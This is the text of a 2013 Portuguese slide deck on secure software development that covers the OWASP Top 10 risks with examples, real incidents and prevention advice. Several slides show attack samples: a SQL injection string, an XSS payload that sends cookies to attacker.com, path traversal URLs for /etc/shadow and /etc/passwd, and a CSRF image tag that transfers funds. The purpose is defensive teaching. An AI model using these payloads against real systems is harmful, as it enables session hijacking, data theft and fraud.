Desenvolvimento de Software Seguro

3.861 visualizações

Publicada em

Palestra apresentada na Faculdade de Tecnologia SENAC (Porto Alegre) em 20/maio/2013

Publicada em: Tecnologia
  • Seja o primeiro a comentar

Desenvolvimento de Software Seguro

  1. 1. Augusto Lüdtke20/maio/2013
  2. 2.  Por que software seguro? Conceitos básicos Princípios de segurança OWASPTop 10
  3. 3.  Esta apresentação não é sobre a HP A HP não é responsável pelas opiniões apresentadas aqui
  4. 4. NetworkApplicationDatabase ServerWeb ServerApplication ServerOperating SystemFonte de 95% das vulnerabilidades(Software Security Testing: Let’s Get Back to Basics)Alvo de 75% dos ataques(Now Is the Time for Security at the Application Level)
  5. 5. Explosão no número de vulnerabilidades* National Vulnerabilty Database
  6. 6. A vantagem de corrigir cedo
  7. 7.  CIA Confidencialidade Integridade Disponibilidade (Availability) AAA Autenticação Autorização Auditoria
  8. 8.  OWASP▪ Open Web Application Security Project (Projeto Aberto de Segurança de AplicaçõesWeb)▪ Organização internacional▪ Sem fins lucrativos▪ Contribui para a melhoria da segurança de software OWASPTop 10 Conscientização sobre segurança de aplicações, identificando alguns dosmaiores riscos que as organizações enfrentam.
  9. 9. Versão 2010: risco x prevalência A1: Injection A2: Cross-Site Scripting (XSS) A3: Broken Authentication and Session Management A4: Insecure Direct Object References A5: Cross-Site Request Forgery (CSRF) A6: Security Misconfiguration A7: Insecure Cryptographic Storage A8: Failure to Restrict URLAccess A9: InsufficientTransport Layer Protection A10: Unvalidated Redirects and Forwards
  10. 10. A1: Injection Visão geral▪ Dados não confiáveis enviados para um interpretador como parte de umcomando/consulta▪ Interpretador executa um comando malicioso▪ Interpretadores:▪ Bancos de dados▪ Servidores LDAP▪ Shell Vulnerabilidades associadas▪ CWE-77: Improper Neutralization of Special Elements used in a Command(Command Injection)▪ CWE-89: Improper Neutralization of Special Elements used in an SQL Command(SQL Injection)
  11. 11. A1: Injection Exemplo A aplicação usa dados não-confiáveis na construção da consulta SQL:String query = "SELECT * FROM accountsWHERE custID=" + request.getParameter("id") +""; O atacante modifica o parâmetro ‘id’ no browser para enviar or 1=1:http://example.com/app/accountView?id= or 1=1 E a consulta executada é:SELECT * FROM accounts WHERE custID= or 1=1
  12. 12. A1: Injection Exemplos reais de SQL injection Microsoft UK (junho/2007)▪ Defacement Nações Unidas (agosto/2007)▪ Defacement
  13. 13. A1: Injection Exemplos reais de SQL injection Sony Pictures (junho/2011)▪ Milhares de contas (1M x 37K)▪ Nomes▪ Senhas▪ Endereços de e-mail▪ Endereços residenciais▪ Datas de nascimento Yahoo!Voices (julho/2012)▪ Mais de 400K contas▪ Usernames▪ Senhas não criptografadas
  14. 14. A1: Injection Prevenção Consultas parametrizadas: os dados são separados dos comandosString custname = request.getParameter("customerName");String query = "SELECT account_balance FROM user_data WHERE user_name = ? ";PreparedStatement pstmt = connection.prepareStatement(query);pstmt.setString(1, custname);ResultSet results = pstmt.executeQuery();
  15. 15. A2: Cross Site Scripting (XSS) Visão geral▪ Dados não-confiáveis são enviados para a aplicação (por URLs e formulários, porexemplo)▪ Aplicação repassa dados para o browser da vítima▪ Browser da vítima executa os comandos Vulnerabilidades associadas▪ CWE-79: Improper Neutralization of Input During Web Page Generation (Cross-siteScripting)
  16. 16. A2: Cross Site Scripting (XSS) Exemplo A aplicação usa dados não-confiáveis na construção de código HTML:(String) page += “<input name=creditcard type=TEXT value=" +request.getParameter("CC") + ">"; O atacante cria uma URL para esta página, modificando o parâmetro CC para:‘><script>document.location= http://www.attacker.com/cgi-bin/cookie.cgi?foo=+document.cookie</script> Ao processar a URL, o browser do usuário processa a página contendo oJavaScript e o ID da sessão do usuário é enviado para o website do atacante.
  17. 17. A2: Cross Site Scripting (XSS) Exemplos reais barackobama.com (abril/2008)▪ XSS na seção Community Blogs levava usuário para o site hillaryclinton.com votehillary.org (abril/2008)▪ XSS permitia a inserção de um iframe com conteúdo do site de Obama
  18. 18. A2: Cross Site Scripting (XSS) Prevenção▪ Encoding/escaping de dados na entrada e na saída▪ Fazer com que <script> seja codificado como &lt;script&gt; (evitando a sua execução)▪ Proteger cookies com o atributo HttpOnly
  19. 19. A3: Broken Authentication and Session Management Visão geral▪ O atacante usa falhas nas funções de autenticação ou gerenciamento de sessãopara assumir a identidade do usuário.▪ Alvos: contas, senhas e IDs de sessão Vulnerabilidades associadas▪ CWE-287: Improper Authentication
  20. 20. A3: Broken Authentication and Session Management Exemplos Usuário autenticado informa os amigos sobre a passagem que comprou:http://example.com/sale/saleitems;jsessionid=2P0OC2JDPXM0OQSNDLPSKHCJUN2JV?dest=Hawaii Mas acaba compartilhando sua ID de sessão (e seu cartão de crédito).
  21. 21. A3: Broken Authentication and Session Management Exemplos reais Timeout da aplicação não é definido apropriadamente:
  22. 22. A3: Broken Authentication and Session Management Exemplos reais Senhas não criptografadas no banco de dados:▪ DreamHost (janeiro/2012)▪ Billabong (julho/2012)
  23. 23. A3: Broken Authentication and Session Management Prevenção▪ Adicione um timeout à sessão para reduzir a janela de oportunidade▪ Use funções de hash e “salt” para armazenar senhas▪ Transmita as credenciais somente sobre HTTPS
  24. 24. A4: Insecure Direct Object References Visão geral▪ O atacante, que é um usuário autorizado do sistema, modifica o valor de umparâmetro que aponta para um objeto do sistema (arquivo, registro, etc.)▪ A aplicação não verifica as permissões necessárias e dá acesso indevido àsinformações Vulnerabilidades associadas▪ CWE-639: Authorization BypassThrough User-Controlled Key▪ CWE-22: Improper Limitation of a Pathname to a Restricted Directory (PathTraversal)
  25. 25. A4: Insecure Direct Object References Exemplo A aplicação usa dados não verificados numa consulta SQL acessandoinformações da conta:String query = "SELECT * FROM accts WHERE account = ?";PreparedStatement pstmt = connection.prepareStatement(query , ...);pstmt.setString(1, request.getParameter("acct"));ResultSet results = pstmt.executeQuery(); O atacante modifica o parâmetro ‘acct’ no browser para enviar o número daconta que ele quiser:http://example.com/app/accountInfo?acct=notmyacct
  26. 26. A4: Insecure Direct Object References Exemplo A aplicação abre arquivos que são determinados pelo usuáriohttp://some_site.com/../../../../etc/shadowhttp://some_site.com/get-files?file=/etc/passwd Exemplos de path traversal em servidores web:▪ Nginx (CVE-2009-3898)▪ ApacheTomcat (CVE-2009-2902)▪ IIS (CVE-2000-0884)
  27. 27. A4: Insecure Direct Object References Exemplos reais Dados de outros usuários acessados com pequenas mudanças na URL:▪ Passport Canada (dezembro/2007)▪ Citibank (junho/2011)
  28. 28. A4: Insecure Direct Object References Prevenção▪ Verifique se o usuário tem permissão para acessar o objeto requerido▪ Verifique se o caminho do arquivo requerido está dentro do “Document Root”▪ Normalize/canonicalize a requisição antes de validá-la▪ Transforme %2e%2e%5c em ..
  29. 29. A5: Cross-Site Request Forgery (CSRF) Visão geral▪ Um atacante faz o browser da vítima enviar um comando para uma aplicação webvulnerável▪ Browser inclui automaticamente dados de autenticação do usuário▪ Aplicação executa o comando em função da confiança que tem no usuário Vulnerabilidades associadas▪ CWE-352: Cross-Site Request Forgery (CSRF)
  30. 30. A5: Cross-Site Request Forgery (CSRF) Exemplo Site do banco recebe requisições de transferência no seguinte formato:http://example.com/app/transferFunds?amount=1500&destinationAccount=4673243243 Atacante monta uma requisição maliciosa e a insere numa tag de imagem ouiframe:<img src="http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#" width="0" height="0" /> Se o usuário estiver logado no banco e abrir a página maliciosa, o banco irátransferir o dinheiro para o atacante.
  31. 31. A5: Cross-Site Request Forgery (CSRF) Exemplo reais Vulnerabilidades de CSRF permitiam:▪ Apagar conteúdo (fotos, vídeos, apresentações, etc.)▪ Postar comentários▪ Seguir usuários/perfis
  32. 32. A5: Cross-Site Request Forgery (CSRF) Prevenção▪ Incluir token não-previsível (synchronizer token) no corpo ou URL de cada requisiçãoHTTP▪ Limitar o tempo de vida dos cookies de sessão
  33. 33. A6: Security Misconfiguration Visão geral▪ É necessária uma configuração segura definida para a aplicação, frameworks,servidores de aplicação, servidores web, bancos de dados e plataforma.▪ Inclui configurações default e atualização de pacotes Vulnerabilidades associadas▪ CWE-2: Environment
  34. 34. A6: Security Misconfiguration Exemplo real Locaweb (setembro/2010)▪ Vulnerabilidade no kernel Linux (CVE-2010-3081)▪ Mais de 25 mil sites atacados▪ Troca de acusações entre Locaweb e Red Hat
  35. 35. A6: Security Misconfiguration Prevenção▪ Defina um processo para manter o sistema (incluindo bibliotecas) atualizado comtodos updates e patches▪ Desabilite serviços, portas, contas e privilégios desnecessários▪ Modifique ou desabilite senhas default
  36. 36. A7: Insecure Cryptographic Storage Visão geral Muitas aplicações não protegem adequadamente dados sensíveis:▪ Não criptografam os dados▪ Usam algoritmos inadequados▪ Não protegem as chaves criptográficas Vulnerabilidades associadas▪ CWE-310: Cryptographic Issues▪ CWE-312: Cleartext Storage of Sensitive Information▪ CWE-326: Inadequate Encryption Strength
  37. 37. A7: Insecure Cryptographic Storage Exemplo real LinkedIn (junho/2012)▪ Vazamento de 6,5 milhões de senhas criptografadas▪ Senhas armazenadas como hashes SHA-1▪ Não utilizavam “salt”▪ Vulneráveis a um ataque com “rainbow tables”
  38. 38. A7: Insecure Cryptographic Storage Prevenção▪ Identifique quais são os dados sensíveis▪ Use as proteções adequadas▪ Algoritmos seguros▪ Criptografia do sistema de arquivos▪ Criptografia de registros no banco de dados▪ Funções de hash com “salt” para armazenar senhas▪ Gerenciamento de chaves criptográficas▪ Geração▪ Armazenamento
  39. 39. A8: Failure to Restrict URL Access Visão geral▪ O atacante, que é um usuário do sistema, altera a URL para apontar para umapágina privilegiada.▪ A aplicação não verifica se aquele usuário tem permissão para acessar aquelapágina Vulnerabilidades associadas▪ CWE-285: Improper Authorization
  40. 40. A8: Failure to Restrict URL Access Exemplo real D-Link DSL-504T (CVE-2005-1827)▪ Qualquer usuário obtinha acesso (sem autenticação) ao roteador através da URLhttp://ipdoroteador/cgi-bin/firmwarecfg▪ Com este acesso, o usuário podia▪ Atualizar o firmware▪ Reiniciar o roteador▪ Restaurar uma configuração salva
  41. 41. A8: Failure to Restrict URL Access Prevenção▪ Inclua controles de autenticação e autorização em cada página▪ Use políticas de autenticação e autorização baseadas em papéis, para diminuir oesforço de manutenção▪ O mecanismo de autorização deve negar todos acessos por default, exigindopermissões explícitas para cada página
  42. 42. A9: InsufficientTransport Layer Protection Visão geral Aplicações falham em autenticar, criptografar e proteger a confidencialidadee integridade de tráfego de rede sensível. Vulnerabilidades associadas▪ CWE-319: Cleartext Transmission of Sensitive Information
  43. 43. A9: InsufficientTransport Layer Protection Exemplo real MI-5 (abril/2012)▪ Certificado SSL expirado
  44. 44. A9: InsufficientTransport Layer Protection Exemplo real Firesheep (outubro/2010)▪ Intercepta cookies não criptografados de sites como Facebook e Twitter
  45. 45. A9: InsufficientTransport Layer Protection Prevenção▪ Use SSL em todas páginas sensíveis. Redirecione requisições HTTP para as versõesHTTPS.▪ Proteja os cookies com o atributo Secure▪ Garanta que o seu certificado seja validado e aceito nos browsers dos clientes:▪ Domínios▪ Validade▪ Autoridade certificadora (CA)
  46. 46. A10: Unvalidated Redirects and Forwards Visão geral A aplicação faz redirects (com HTTP 302, por exemplo) utilizando parâmetrosdo usuário para de terminar o destino. Um atacante pode criar uma URL comum domínio conhecido, mas que levará o usuário para uma página maliciosa. Vulnerabilidades associadas▪ CWE-601: URL Redirection to Untrusted Site (Open Redirect)
  47. 47. A10: Unvalidated Redirects and Forwards Exemplo A aplicação tem uma página chamada “redirect.jsp”, que recebe umparâmetro “url”. O atacante constrói uma URL que redireciona usuários paraum site malicioso que faz phishing e instala malwares:http://www.example.com/redirect.jsp?url=evil.com Exemplo real Trac (CVE-2008-2951)▪ Vulnerabilidade de open redirect no script de pesquisa permitia redirect através deuma URL no parâmetro q.
  48. 48. A10: Unvalidated Redirects and Forwards Prevenção▪ Não use redirects▪ Se usar redirects, não envolva parâmetros do usuário para determinar o destino▪ Se usar parâmetros, garanta que o valor seja válido e autorizado para o usuário
  49. 49.  Livros Sites www.owasp.org cwe.mitre.org Notícias nakedsecurity.sophos.com thehackernews.com www.forbes.com/sites/andygreenberg/ www.h-online.com www.net-security.org www.securitybloggersnetwork.com @augusto_ludtke

×